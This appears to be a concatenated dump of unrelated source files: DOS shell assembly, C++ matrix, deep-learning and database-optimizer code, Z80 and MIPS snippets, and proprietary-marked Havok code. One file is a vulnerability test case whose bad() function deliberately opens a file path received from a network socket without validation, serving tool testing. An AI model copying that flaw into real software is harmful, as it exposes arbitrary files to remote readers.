READIN:
;Open source file and read it in. If memory fills up, flush it out to
;destination and keep reading. If /A switch set, chop file at first ^Z.
; Inputs/Outputs:
; [NXTADD] has current pointer in buffer
; [CFLAG] <>0 if destination has been created
MOV DX,OFFSET TRANGROUP:DIRBUF
MOV AH,OPEN
INT 21H
OR AL,AL ;Successful open?
JNZ RET40 ;If not, just ignore it
XOR AX,AX
MOV WORD PTR[DIRBUF+RR],AX
MOV WORD PTR[DIRBUF+RR+2],AX
INC AX
MOV WORD PTR[DIRBUF+RECLEN],AX
COPYLP:
MOV DX,[NXTADD]
MOV AH,SETDMA
PUSH DS
MOV DS,[TPA]
INT 33
POP DS
MOV CX,[BYTCNT]
SUB CX,DX ;Compute available space
MOV DX,OFFSET TRANGROUP:DIRBUF
MOV AH,RDBLK ;Read in source file
INT 21H
JCXZ RET40
CMP [ASCII],0
JZ BINREAD
MOV DX,CX
MOV DI,[NXTADD]
MOV AL,1AH
PUSH ES
MOV ES,[TPA]
REPNE SCASB ;Scan for EOF
POP ES
JNZ USEALL
INC CX
USEALL:
SUB DX,CX
MOV CX,DX
BINREAD:
ADD CX,[NXTADD]
MOV [NXTADD],CX
CMP CX,[BYTCNT] ;Is buffer full?
JB RET40 ;If not, we must have found EOF
CALL FLSHFIL
JMP SHORT COPYLP
CLOSEFIL:
MOV AX,[NXTADD]
MOV BX,AX
OR AL,AH ;See if any data is loaded
OR AL,[CFLAG] ; or file was created
JZ RET50 ;Don't close or count if not created
MOV AL,BYTE PTR[ARG2S]
CALL SETASC ;Check for /B or /A on destination
JZ BINCLOS
CMP BX,[BYTCNT] ;Is memory full?
JNZ PUTZ
CALL FLSHFIL ;Empty it to make room for 1 lousy byte
XOR BX,BX
PUTZ:
PUSH DS
MOV DS,[TPA]
MOV WORD PTR[BX],1AH ;Add End-of-file mark (Ctrl-Z)
POP DS
INC [NXTADD]
BINCLOS:
CALL FLSHFIL
CMP [INEXACT],0 ;Copy not exact?
JNZ NODATE ;If so, don't copy date & time
MOV SI,OFFSET TRANGROUP:DIRBUF+OFFDATE
MOV DI,OFFSET TRANGROUP:DEST+OFFDATE ;Make date & time same as original
MOVSW ;Copy date
MOVSW ;Copy time
NODATE:
MOV DX,OFFSET TRANGROUP:DEST
MOV AH,CLOSE
INT 21H
INC [FILECNT]
RET50: RET
FLSHFIL:
;Write out any data remaining in memory.
; Inputs:
; [NXTADD] = No. of bytes to write
; [CFLAG] <>0 if file has been created
; Outputs:
; [NXTADD] = 0
MOV AL,1
XCHG [CFLAG],AL
OR AL,AL
JNZ EXISTS
CMP [NOWRITE],0
JNZ SKPMAK ;Don't actually create if NOWRITE set
MOV DX,OFFSET TRANGROUP:DEST
MOV AH,MAKE
INT 21H
MOV DX,OFFSET TRANGROUP:FULDIR
OR AL,AL
JNZ COPERR
SKPMAK:
XOR AX,AX
MOV WORD PTR[DEST+RR],AX
MOV WORD PTR[DEST+RR+2],AX
INC AX
MOV WORD PTR[DEST+RECLEN],AX
EXISTS:
XOR CX,CX
XCHG CX,[NXTADD]
CMP [NOWRITE],0 ;If NOWRITE set, just seek CX bytes
JNZ SEEKEND
XOR DX,DX
PUSH DS
MOV DS,[TPA]
MOV AH,SETDMA
INT 33
POP DS
MOV DX,OFFSET TRANGROUP:DEST
MOV AH,WRBLK
INT 21H
OR AL,AL
JZ RET60
MOV DX,OFFSET TRANGROUP:DEST
MOV AH,CLOSE
INT 21H
MOV AH,DELETE
INT 33
MOV DX,OFFSET TRANGROUP:NOSPACE
COPERR:
MOV AH,9
INT 21H
JMP ENDCOPY
SEEKEND:
ADD WORD PTR[DEST+RR],CX
ADC WORD PTR[DEST+RR+2],0 ;Propagate carry
RET60: RET
GETBATBYT:
;Get one byte from the batch file and return it in AL. End-of-file
;returns <CR> and ends batch mode. DS must be set to resident segment.
;AH, CX, DX destroyed.
ASSUME DS:RESGROUP
MOV DX,OFFSET RESGROUP:BATFCB
MOV AH,RDBLK
MOV CX,1
INT 33 ;Get one more byte from batch file
JCXZ BATEOF
MOV AL,[BATBYT]
CMP AL,1AH
JNZ RET70
BATEOF:
MOV AL,0DH ;If end-of-file, then end of line
MOV [BATCH],0 ;And turn off batch mode
RET70: RET
ASSUME DS:TRANGROUP
SCANOFF:
LODSB
CALL DELIM
JZ SCANOFF
DEC SI ;Point to first non-delimiter
RET
DELIM:
CMP AL," "
JZ RET80
CMP AL,"="
JZ RET80
CMP AL,","
JZ RET80
CMP AL,9 ;Check for TAB character
RET80: RET
PAUSE:
MOV DX,OFFSET TRANGROUP:PAUSMES
MOV AH,PRINTBUF
INT 33
MOV AX,0C00H+INCHAR ;Get character with KB buffer flush
INT 33
RET90: RET
;Date and time are set during initialization and use
;this routines since they need to do a long return
DATINIT:
PUSH ES
PUSH DS ;Going to use the previous stack
MOV AX,CS ;Set up the appropriate segment registers
MOV ES,AX
MOV DS,AX
MOV WORD PTR DS:[81H],13 ;Want to prompt for date during initialization
CALL DATE
CALL TIME
POP DS
POP ES
YYY PROC FAR
RET
YYY ENDP
; DATE - Gets and sets the time
DATE:
MOV SI,81H ;Accepting argument for date inline
CALL SCANOFF
CMP AL,13
JZ PRMTDAT
MOV BX,2F00H+"-" ;"/-"
CALL INLINE
JMP COMDAT
PRMTDAT:
MOV DX,OFFSET TRANGROUP:CURDAT
MOV AH,PRINTBUF
INT 33 ;Print "Current date is "
MOV AH,GETDATE
INT 33 ;Get date in CX:DX
CBW
MOV SI,AX
SHL SI,1
ADD SI,AX ;SI=AX*3
ADD SI,OFFSET TRANGROUP:WEEKTAB
MOV BX,CX
MOV CX,3
CALL OUTCNT
MOV AL," "
CALL OUT
MOV AX,BX
MOV CX,DX
MOV DL,100
DIV DL
XCHG AL,AH
XCHG AX,DX
MOV BL,"-"
CALL SHOW
GETDAT:
MOV DX,OFFSET TRANGROUP:NEWDAT
MOV BX,2F00H+"-" ;"/-" in BX
CALL GETBUF
COMDAT: JZ RET90
JC DATERR
LODSB
CMP AL,BL
JZ SEPGD
CMP AL,BH
JNZ DATERR
SEPGD: CALL GETNUM
JC DATERR
MOV CX,1900
CMP BYTE PTR[SI],13
JZ BIAS
MOV AL,100
MUL AH
MOV CX,AX
CALL GETNUM
JC DATERR
BIAS:
MOV AL,AH
MOV AH,0
ADD CX,AX
LODSB
CMP AL,13
JNZ DATERR
MOV AH,SETDATE
INT 33
OR AL,AL
JNZ DATERR
JMP RET90
DATERR:
MOV DX,OFFSET TRANGROUP:BADDAT
MOV AH,PRINTBUF
INT 33
JMP GETDAT
; CLS command
IF IBMVER
CLS:
MOV AX,3
INT 10H
RET
ENDIF
; VER command
VER:
IF MSVER
IF HIGHMEM
PUSH DS
PUSH CS
POP DS
ENDIF
MOV DX,OFFSET TRANGROUP:VERSTR
MOV AH,PRINTBUF
INT 33
IF HIGHMEM
POP DS
ENDIF
ENDIF
IF IBMVER
MOV DX,OFFSET TRANGROUP:VERSTR
MOV AH,PRINTBUF
INT 33
ENDIF
RET
; TIME gets and sets the time
TIME:
MOV SI,81H ;Accepting argument for time inline
CALL SCANOFF
CMP AL,13
JZ PRMTTIM
MOV BX,3A00H+":"
CALL INLINE
JMP COMTIM
PRMTTIM:
MOV DX,OFFSET TRANGROUP:CURTIM
MOV AH,PRINTBUF
INT 33 ;Print "Current time is "
MOV AH,GETTIME
INT 33 ;Get time in CX:DX
MOV BL,":"
CALL SHOW
GETTIM:
XOR CX,CX ;Initialize hours and minutes to zero
MOV DX,OFFSET TRANGROUP:NEWTIM
MOV BX,3A00H+":"
CALL GETBUF
COMTIM: JZ RET100 ;If no time present, don't change it
JC TIMERR
MOV CX,DX
XOR DX,DX
LODSB
CMP AL,13
JZ SAVTIM
CMP AL,BL
JNZ TIMERR
MOV BL,"."
CALL GETNUM
JC TIMERR
MOV DH,AH ;Position seconds
LODSB
CMP AL,13
JZ SAVTIM
CMP AL,BL
JNZ TIMERR
CALL GETNUM
JC TIMERR
MOV DL,AH
LODSB
CMP AL,13
JNZ TIMERR
SAVTIM:
MOV AH,SETTIME
INT 33
OR AL,AL
JZ RET100 ;Error in time?
TIMERR:
MOV DX,OFFSET TRANGROUP:BADTIM
MOV AH,PRINTBUF
INT 33 ;Print error message
JMP GETTIM ;Try again
GETBUF:
MOV AH,PRINTBUF
INT 33 ;Print "Enter new date: "
MOV AH,INBUF
MOV DX,OFFSET TRANGROUP:COMBUF
INT 33 ;Get input line
CALL CRLF2
MOV SI,OFFSET TRANGROUP:COMBUF+2
CMP BYTE PTR[SI],13 ;Check if new date entered
JZ RET100
INLINE:
CALL GETNUM ;Get one or two digit number
JC RET100
MOV DH,AH ;Put in position
LODSB
CMP AL,BL
JZ NEXT
CMP BL,":" ;Is it a date seperator?
JNZ DATESEP
DEC SI
MOV DL,0
RET100: RET ;Time may have only an hour specified
DATESEP:
CMP AL,BH
STC
JNZ RET100
NEXT: CALL GETNUM
MOV DL,AH ;Put in position
RET
GETNUM:
CALL INDIG
JC RET100
MOV AH,AL ;Save first digit
CALL INDIG ;Another digit?
JC OKRET
AAD ;Convert unpacked BCD to decimal
MOV AH,AL
OKRET:
OR AL,1
RET110: RET
INDIG:
MOV AL,BYTE PTR[SI]
SUB AL,"0"
JC RET110
CMP AL,10
CMC
JC RET110
INC SI
RET
SHOW:
MOV AL,CH
MOV BH,"0"-" " ;Enable leading zero suppression
CALL OUT2
MOV AL,BL
CALL OUT
MOV AL,CL
CALL OUT2
MOV AL,BL
CALL OUT
MOV AL,DH
CALL OUT2
CMP BL,":" ;Are we outputting time?
JNZ SKIPIT
MOV AL,"."
CALL OUT
SKIPIT: MOV AL,DL
OUT2: ;Output binary number as two ASCII digits
AAM ;Convert binary to unpacked BCD
XCHG AL,AH
OR AX,3030H ;Add "0" bias to both digits
CMP AL,"0" ;Is MSD zero?
JNZ NOSUP
SUB AL,BH ;Suppress leading zero if enabled
NOSUP:
MOV BH,0 ;Disable zero suppression
CALL OUT
MOV AL,AH
OUT:
;Print char in AL without affecting registers
XCHG AX,DX
PUSH AX
MOV AH,OUTCH
INT 33
POP AX
XCHG AX,DX
RET
EXELOAD:
MOV AX,CS
ADD AX,LOADSEG
MOV [EXEEND],AX ;Store in EXEEND
MOV DX,OFFSET TRANGROUP:RUNVAR ;Read header in here
MOV AH,SETDMA
INT 33
MOV CX,RUNVARSIZ ;Amount of header info we need
MOV DX,OFFSET TRANGROUP:EXEFCB
MOV AH,RDBLK
INT 33 ;Read in header
OR AL,AL
JNZ BADEXE ;Must not reach EOF
MOV AX,[HEADSIZ] ;Size of header in paragraphs
;Convert header size to 512-byte pages by multiplying by 32 & rounding up
ADD AX,31 ;Round up first
MOV CL,5
SHR AX,CL ;Multiply by 32
MOV [EXEFCB+RR],AX ;Position in file of program
MOV WORD PTR[EXEFCB+RECLEN],512 ;Set record size
ADD BX,10H ;First paragraph above parameter area
MOV DX,[PAGES] ;Total size of file in 512-byte pages
SUB DX,AX ;Size of program in pages
MOV [PSIZE],DX
SHL DX,CL ;Convert pages back to paragraphs
MOV AX,DX
ADD DX,BX ;Size + start = minimum memory (paragr.)
MOV CX,[EXEEND] ;Get memory size in paragraphs
CMP DX,CX ;Enough memory?
JA SHRTERR
MOV DX,[INITSP]
ADD DX,15
SHR DX,1
SHR DX,1
SHR DX,1
SHR DX,1
ADD DX,[INITSS]
ADD DX,BX ;Adjusted value of SP
CMP DX,CX ;Is it valid?
JA SHRTERR
CMP [LOADLOW],-1 ;Load low or high?
JZ LOAD ;If low, load at segment BX
SUB CX,AX ;Memory size - program size = load addr.
MOV BX,CX
LOAD:
MOV BP,BX ;Save load segment
LOAD1:
LOADSEG EQU (LOAD1-ZERO)/16
PUSH DS
MOV DS,BX
XOR DX,DX ;Address 0 in segment
MOV AH,SETDMA
INT 33 ;Set load address
POP DS
MOV CX,[PSIZE] ;Number of records to read
MOV DX,OFFSET TRANGROUP:EXEFCB
MOV AH,RDBLK
INT 33 ;Read in up to 64K
SUB [PSIZE],CX ;Decrement count by amount read
JZ HAVEXE ;Did we get it all?
TEST AL,1 ;Check return code if not
JNZ BADEXE ;Must be zero if more to come
ADD BX,1000H-20H ;Bump data segment 64K minus one record
JMP SHORT LOAD1 ;Get next 64K block
BADEXE:
MOV DX,OFFSET TRANGROUP:EXEBAD
JMP ERROR
SHRTERR:
MOV DX,OFFSET TRANGROUP:TOOBIG
JMP ERROR
HAVEXE:
MOV AX,[RELTAB] ;Get position of table
MOV [EXEFCB+RR],AX ;Set in random record field
MOV WORD PTR[EXEFCB+RECLEN],1 ;Set one-byte record
MOV DX,OFFSET TRANGROUP:RELPT ;4-byte buffer for relocation address
MOV AH,SETDMA
INT 33
CMP [RELCNT],0
JZ NOREL
RELOC:
MOV AH,RDBLK
MOV DX,OFFSET TRANGROUP:EXEFCB
MOV CX,4
INT 33 ;Read in one relocation pointer
OR AL,AL ;Check return code
JNZ BADEXE
MOV DI,[RELPT] ;Get offset of relocation pointer
MOV AX,[RELSEG] ;Get segment
ADD AX,BP ;Bias segment with actual load segment
MOV ES,AX
ADD WORD PTR ES:[DI],BP ;Relocate
DEC [RELCNT] ;Count off
JNZ RELOC
;Set up exit conditions
NOREL:
MOV AX,[INITSS]
ADD AX,BP
CLI
MOV SS,AX ;Initialize SS
MOV SP,[INITSP]
STI
ADD [INITCS],BP
MOV AX,[TPA] ;Get pointer to parameter area
MOV CX,[BYTCNT] ;Size of TPA segment
MOV ES,AX
MOV DS,AX ;Set segment registers to point to it
CALL SETUP
JMP DWORD PTR CS:[INITIP] ;Long jump to program
SETUP:
AND CL,0F0H ;Adjust to even paragraph boundary
MOV AX,WORD PTR DS:[6] ;Get current memory size
SUB AX,CX ;Find out how much we're changing it
MOV WORD PTR DS:[6],CX
MOV CL,4
SAR AX,CL ;Convert to a segment address
ADD WORD PTR DS:[8],AX ;Adjust long jump to go to same place
MOV DX,80H
MOV AH,SETDMA
INT 33 ;Set default disk transfer address
MOV AX,WORD PTR CS:[PARM1] ;Pass on info about FCBs
XOR CX,CX
MOV DX,CX ;Assume no batch file
ASSUME CS:RESGROUP
TEST CS:[BATCH],-1 ;Batch file in progress?
ASSUME CS:TRANGROUP
JZ RET120 ;If not, all set up
MOV CX,CS:[RESSEG]
MOV DX,OFFSET RESGROUP:BATFCB ;CX:DX points to batch FCB
RET120: RET
TRANCODESIZE EQU $-ZERO
TRANCODE ENDS
COMLEN EQU TRANDATASIZE+TRANCODESIZE-102H ;End of COMMAND load. ZERO Needed to make COMLEN absolute
TRNLEN EQU (PRETRLEN+TRANCODESIZE+TRANDATASIZE+15)/16 ;Length of transient in paragraphs
END PROGSTART
|
#include <cmath>
#include <iomanip>
/*!
* \file
* \brief Metody zdefiniowane dla Macierzy3x3
*/
#include "../inc/matrix3x3.hh"
/*!
* \brief Liczba pi
*/
#define PI 3.14159265358979323846
/*!
* \brief Przeciążenie operatora >> dla Macierzy3x3
*
* \param[in] in - adres strumienia wejściowego
* \param[in] mat - macierz
*/
std::istream &operator>>(std::istream &in, Matrix3x3 &mat) {
for (int i = 0; i < SIZE; ++i) {
for (int j = 0; j < SIZE; ++j) {
in >> mat(i, j);
}
}
return in;
}
/*!
* \brief Przeciążenie operatora << dla Macierzy3x3
*
* \param[in] out - adres strumienia wyjściowego
* \param[in] mat - macierz
*/
std::ostream &operator<<(std::ostream &out, const Matrix3x3 &mat) {
for (int i = 0; i < SIZE; ++i) {
for (int j = 0; j < SIZE; ++j) {
out << std::fixed << std::setprecision(10) <<"| " << mat(i, j) << " | ";
}
out << std::endl;
}
return out;
}
/*!
* Uzyskanie trójwymiarowej macierzy rotacji dla danego kąta w danej osi.
* Funkcja przemnoży obliczoną macierz obrotu przez macierz podaną jako argument.
* \param[in] this - macierz
* \param[in] degrees - kąt w stopniach
* \param[in] axis - oś obrotu (zapisana jako 'x' / 'y' / 'z')
*/
template<>
void Matrix3x3::RotationMatrix(double degrees) {
double radians = degrees * (PI/180);
value[2][0]=value[2][1]=value[0][2]=value[1][2]=0;
value[2][2]=1;
value[0][0]=value[1][1]=cos(radians);
value[1][0]=sin(radians);
value[0][1]=-sin(radians);
} |
; stdio_error_einval_mc
; 06.2008 aralbrec
PUBLIC stdio_error_einval_mc
EXTERN stdio_errno_mc
INCLUDE "../stdio.def"
.stdio_error_einval_mc
ld hl,EINVAL
jp stdio_errno_mc
|
; ===============================================================
; Jan 2014
; ===============================================================
;
; int ftrylockfile (FILE *stream)
;
; Return 0 if lock successfuly acquired.
;
; ===============================================================
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_stdio
PUBLIC asm_ftrylockfile
EXTERN __stdio_lock_tryacquire, error_znc, error_mc
asm_ftrylockfile:
; enter : ix = FILE *
;
; exit : ix = FILE *
;
; success
;
; hl = 0
; carry reset
;
; fail
;
; hl = -1
; carry set
;
; uses : af, hl
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_STDIO & $01
EXTERN __stdio_verify_valid
call __stdio_verify_valid
ret c
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
call __stdio_lock_tryacquire
jp nc, error_znc ; if successfully acquired lock
jp error_mc
|
/*
*
* Confidential Information of Telekinesys Research Limited (t/a Havok). Not for disclosure or distribution without Havok's
* prior written consent. This software contains code, techniques and know-how which is confidential and proprietary to Havok.
* Product and Trade Secret source code contains trade secrets of Havok. Havok Software (C) Copyright 1999-2014 Telekinesys Research Limited t/a Havok. All Rights Reserved. Use of this software is subject to the terms of an end user license agreement.
*
*/
hkpFixedBufferRayHitCollector::hkpFixedBufferRayHitCollector(hkpWorldRayCastOutput_Storage* buffer, int capacity) : hkpRayHitCollector()
{
HK_ASSERT2(0xaf35461e, capacity > 0, "Capacity has to be > 0.");
m_rayCastOutputBase = buffer;
m_nextFreeOutput = buffer;
m_capacity = capacity;
m_numOutputs = 0;
m_collidableOnPpu = HK_NULL;
}
void hkpFixedBufferRayHitCollector::addRayHit(const hkpCdBody& cdBody, const hkpShapeRayCastCollectorOutput& hitInfo)
{
HK_ASSERT2(0xaf635e1f, g_FixedBufferRayHitCollectorAddRayHitCallbackFunc, "You have to register either the default addRayHit() function using hkpFixedBufferRayHitCollector::registerDefaultAddRayHitFunction() or a custom function using registerFixedBufferRayHitCollectorAddRayHitCallbackFunction().");
g_FixedBufferRayHitCollectorAddRayHitCallbackFunc(cdBody, hitInfo, this);
}
/*
* Havok SDK - NO SOURCE PC DOWNLOAD, BUILD(#20140907)
*
* Confidential Information of Havok. (C) Copyright 1999-2014
* Telekinesys Research Limited t/a Havok. All Rights Reserved. The Havok
* Logo, and the Havok buzzsaw logo are trademarks of Havok. Title, ownership
* rights, and intellectual property rights in the Havok software remain in
* Havok and/or its suppliers.
*
* Use of this software for evaluation purposes is subject to and indicates
* acceptance of the End User licence Agreement for this product. A copy of
* the license is included with this software and is also available at www.havok.com/tryhavok.
*
*/
|
/*
* EDDL Library - European Distributed Deep Learning Library.
* Version: 0.6
* copyright (c) 2020, Universidad Politécnica de Valencia (UPV), PRHLT Research Centre
* Date: April 2020
* Author: PRHLT Research Centre, UPV, (rparedes@prhlt.upv.es), (jon@prhlt.upv.es)
* All rights reserved
*/
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include "eddl/metrics/metric.h"
using namespace std;
MDice::MDice() : Metric("dice"){}
// TODO: general implementation in tensor reduction
// {nxd} --> {nxd}
void reduced_dice_sum_keep(Tensor * input, Tensor *output,int inc)
{
int n,d;
n=input->shape[0];
d=input->shape[1];
// nxd
Tensor *A=input->clone();
// dx1
Tensor *ones=new Tensor({d,1},input->device);
ones->fill_(1.0);
// nx1
Tensor *red=new Tensor({n,1},input->device);
// {nxd} x {dx1} --> {nx1}
Tensor::mult2D(A,0,ones,0,red,0);
// 1xd
ones->reshape_({1,d});
// {nx1} x {1xd} --> {nxd}
Tensor::mult2D(red,0,ones,0,output,inc);
delete A;
delete ones;
delete red;
}
float MDice::value(Tensor *T, Tensor *Y) {
//2*sum(A*B)/(sum(A)+sum(B))
//2*sum(T*Y)/(sum(T)+sum(Y))
Tensor *A;
Tensor *B;
Tensor *Num;
Tensor *Den;
int b=T->shape[0];
int d=T->size/T->shape[0];
A=T->clone();
A->reshape_({b,d});
B=Y->clone();
B->reshape_({b,d});
Num=new Tensor(A->shape,A->device);
Den=new Tensor(A->shape,A->device);
// (sum(T)+sum(Y))
reduced_dice_sum_keep(A,Den,0);
reduced_dice_sum_keep(B,Den,1);
// 2*sum(A*B)
Tensor::el_mult(A,B,A,0);
reduced_dice_sum_keep(A,Num,0);
Num->mult_(2.0);
// 2*sum(A*B)/(sum(T)+sum(Y))
Tensor::el_div(Num,Den,Den,0);
float n=Den->sum()/d;
delete A;
delete B;
delete Num;
delete Den;
return n;
}
Metric* MDice::clone() {
return new MDice();
}
|
; A047285: Numbers that are congruent to {0, 2, 3, 6} mod 7.
; Submitted by Simon Strandgaard
; 0,2,3,6,7,9,10,13,14,16,17,20,21,23,24,27,28,30,31,34,35,37,38,41,42,44,45,48,49,51,52,55,56,58,59,62,63,65,66,69,70,72,73,76,77,79,80,83,84,86,87,90,91,93,94,97,98,100,101,104,105,107,108,111
mov $1,$0
add $0,1
div $0,2
mul $0,3
div $0,2
add $0,$1
|
# Lista 1 ex 1
# Author: Leonardo Benitez
# Variables map:
# $t0=Base
# $t1=A
# $t2 = B
# Pseudocode:
# Load from memory to A and B
# B = A + B
# Store B in memory
addi $t0, $zero, 0x10008000 # base addr
#lw $t1, 0 ($t0)
#lw $t2, 4 ($t0)
addi $t1, $zero, 10
addi $t2, $zero, 20
add $t2, $t1, $t2 # B = A + B
sw $t2, 8 ($t0) # store B
|
/*---------------------------------------------------------------------------*\
Copyright (C) 2010 I. Clifford
-------------------------------------------------------------------------------
License
This file is part of Caelus.
Caelus is free software: you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation, either version 3 of the License, or (at your
option) any later version.
Caelus is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with Caelus. If not, see <http://www.gnu.org/licenses/>.
Description
This file was obtained from Ivor Clifford at the OpenFOAM Workshop
in PennState, USA, 2011.
The original file contained "Copyright held by original author",
but no author was named in the original file. Authorship confirmed by
Ivor Clifford (2017).
Please report any omissions of authorship and/or copyright to
info@appliedccm.com.au. Corrections will be made upon provision of proof.
Author
Ivor Clifford
\*---------------------------------------------------------------------------*/
#ifndef processorFvsPatchHyperVectorFields_HPP
#define processorFvsPatchHyperVectorFields_HPP
#include "processorFvsPatchHyperVectorFieldsFwd.hpp"
#include "processorFvsPatchField.hpp"
#include "fvsPatchHyperVectorFields.hpp"
#endif
|
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE36_Absolute_Path_Traversal__char_listen_socket_ifstream_33.cpp
Label Definition File: CWE36_Absolute_Path_Traversal.label.xml
Template File: sources-sink-33.tmpl.cpp
*/
/*
* @description
* CWE: 36 Absolute Path Traversal
* BadSource: listen_socket Read data using a listen socket (server side)
* GoodSource: Full path and file name
* Sinks: ifstream
* BadSink : Open the file named in data using ifstream::open()
* Flow Variant: 33 Data flow: use of a C++ reference to data within the same function
*
* */
#include "std_testcase.h"
#ifndef _WIN32
#include <wchar.h>
#endif
#ifdef _WIN32
#include <winsock2.h>
#include <windows.h>
#include <direct.h>
#pragma comment(lib, "ws2_32") /* include ws2_32.lib when linking */
#define CLOSE_SOCKET closesocket
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define CLOSE_SOCKET close
#define SOCKET int
#endif
#define TCP_PORT 27015
#define LISTEN_BACKLOG 5
#include <fstream>
using namespace std;
namespace CWE36_Absolute_Path_Traversal__char_listen_socket_ifstream_33
{
#ifndef OMITBAD
void bad()
{
char * data;
char * &dataRef = data;
char dataBuffer[FILENAME_MAX] = "";
data = dataBuffer;
{
#ifdef _WIN32
WSADATA wsaData;
int wsaDataInit = 0;
#endif
int recvResult;
struct sockaddr_in service;
char *replace;
SOCKET listenSocket = INVALID_SOCKET;
SOCKET acceptSocket = INVALID_SOCKET;
size_t dataLen = strlen(data);
do
{
#ifdef _WIN32
if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
{
break;
}
wsaDataInit = 1;
#endif
/* POTENTIAL FLAW: Read data using a listen socket */
listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (listenSocket == INVALID_SOCKET)
{
break;
}
memset(&service, 0, sizeof(service));
service.sin_family = AF_INET;
service.sin_addr.s_addr = INADDR_ANY;
service.sin_port = htons(TCP_PORT);
if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
{
break;
}
if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR)
{
break;
}
acceptSocket = accept(listenSocket, NULL, NULL);
if (acceptSocket == SOCKET_ERROR)
{
break;
}
/* Abort on error or the connection was closed */
recvResult = recv(acceptSocket, (char *)(data + dataLen), sizeof(char) * (FILENAME_MAX - dataLen - 1), 0);
if (recvResult == SOCKET_ERROR || recvResult == 0)
{
break;
}
/* Append null terminator */
data[dataLen + recvResult / sizeof(char)] = '\0';
/* Eliminate CRLF */
replace = strchr(data, '\r');
if (replace)
{
*replace = '\0';
}
replace = strchr(data, '\n');
if (replace)
{
*replace = '\0';
}
}
while (0);
if (listenSocket != INVALID_SOCKET)
{
CLOSE_SOCKET(listenSocket);
}
if (acceptSocket != INVALID_SOCKET)
{
CLOSE_SOCKET(acceptSocket);
}
#ifdef _WIN32
if (wsaDataInit)
{
WSACleanup();
}
#endif
}
{
char * data = dataRef;
{
ifstream inputFile;
/* POTENTIAL FLAW: Possibly opening a file without validating the file name or path */
inputFile.open((char *)data);
inputFile.close();
}
}
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodG2B() uses the GoodSource with the BadSink */
static void goodG2B()
{
char * data;
char * &dataRef = data;
char dataBuffer[FILENAME_MAX] = "";
data = dataBuffer;
#ifdef _WIN32
/* FIX: Use a fixed, full path and file name */
strcat(data, "c:\\temp\\file.txt");
#else
/* FIX: Use a fixed, full path and file name */
strcat(data, "/tmp/file.txt");
#endif
{
char * data = dataRef;
{
ifstream inputFile;
/* POTENTIAL FLAW: Possibly opening a file without validating the file name or path */
inputFile.open((char *)data);
inputFile.close();
}
}
}
void good()
{
goodG2B();
}
#endif /* OMITGOOD */
} /* close namespace */
/* Below is the main(). It is only used when building this testcase on
its own for testing or for building a binary to use in testing binary
analysis tools. It is not used when compiling all the testcases as one
application, which is how source code analysis tools are tested. */
#ifdef INCLUDEMAIN
using namespace CWE36_Absolute_Path_Traversal__char_listen_socket_ifstream_33; /* so that we can use good and bad easily */
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
|
//---------------------------------------------------------------------------
// Greenplum Database
// Copyright (C) 2014 VMware, Inc. or its affiliates.
//
// @filename:
// CPhysicalPartitionSelector.cpp
//
// @doc:
// Implementation of physical partition selector
//---------------------------------------------------------------------------
#include "gpopt/operators/CPhysicalPartitionSelector.h"
#include "gpos/base.h"
#include "gpopt/base/CColRef.h"
#include "gpopt/base/CDistributionSpecAny.h"
#include "gpopt/base/CDrvdPropCtxtPlan.h"
#include "gpopt/base/COptCtxt.h"
#include "gpopt/base/CUtils.h"
#include "gpopt/operators/CExpressionHandle.h"
#include "gpopt/operators/CPredicateUtils.h"
using namespace gpopt;
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::CPhysicalPartitionSelector
//
// @doc:
// Ctor
//
//---------------------------------------------------------------------------
CPhysicalPartitionSelector::CPhysicalPartitionSelector(
CMemoryPool *mp, ULONG scan_id, IMDId *mdid, CColRef2dArray *pdrgpdrgpcr,
UlongToPartConstraintMap *ppartcnstrmap, CPartConstraint *ppartcnstr,
UlongToExprMap *phmulexprEqPredicates, UlongToExprMap *phmulexprPredicates,
CExpression *pexprResidual)
: CPhysical(mp),
m_scan_id(scan_id),
m_mdid(mdid),
m_pdrgpdrgpcr(pdrgpdrgpcr),
m_ppartcnstrmap(ppartcnstrmap),
m_part_constraint(ppartcnstr),
m_phmulexprEqPredicates(phmulexprEqPredicates),
m_phmulexprPredicates(phmulexprPredicates),
m_pexprResidual(pexprResidual)
{
GPOS_ASSERT(0 < scan_id);
GPOS_ASSERT(mdid->IsValid());
GPOS_ASSERT(NULL != pdrgpdrgpcr);
GPOS_ASSERT(0 < pdrgpdrgpcr->Size());
GPOS_ASSERT(NULL != ppartcnstrmap);
GPOS_ASSERT(NULL != ppartcnstr);
GPOS_ASSERT(NULL != phmulexprEqPredicates);
GPOS_ASSERT(NULL != phmulexprPredicates);
m_pexprCombinedPredicate = PexprCombinedPartPred(mp);
}
//---------------------------------------------------------------------------
// @function:
// CPhysicalPartitionSelector::CPhysicalPartitionSelector
//
// @doc:
// Ctor
//
//---------------------------------------------------------------------------
CPhysicalPartitionSelector::CPhysicalPartitionSelector(
CMemoryPool *mp, IMDId *mdid, UlongToExprMap *phmulexprEqPredicates)
: CPhysical(mp),
m_scan_id(0),
m_mdid(mdid),
m_pdrgpdrgpcr(NULL),
m_ppartcnstrmap(NULL),
m_part_constraint(NULL),
m_phmulexprEqPredicates(phmulexprEqPredicates),
m_phmulexprPredicates(NULL),
m_pexprResidual(NULL),
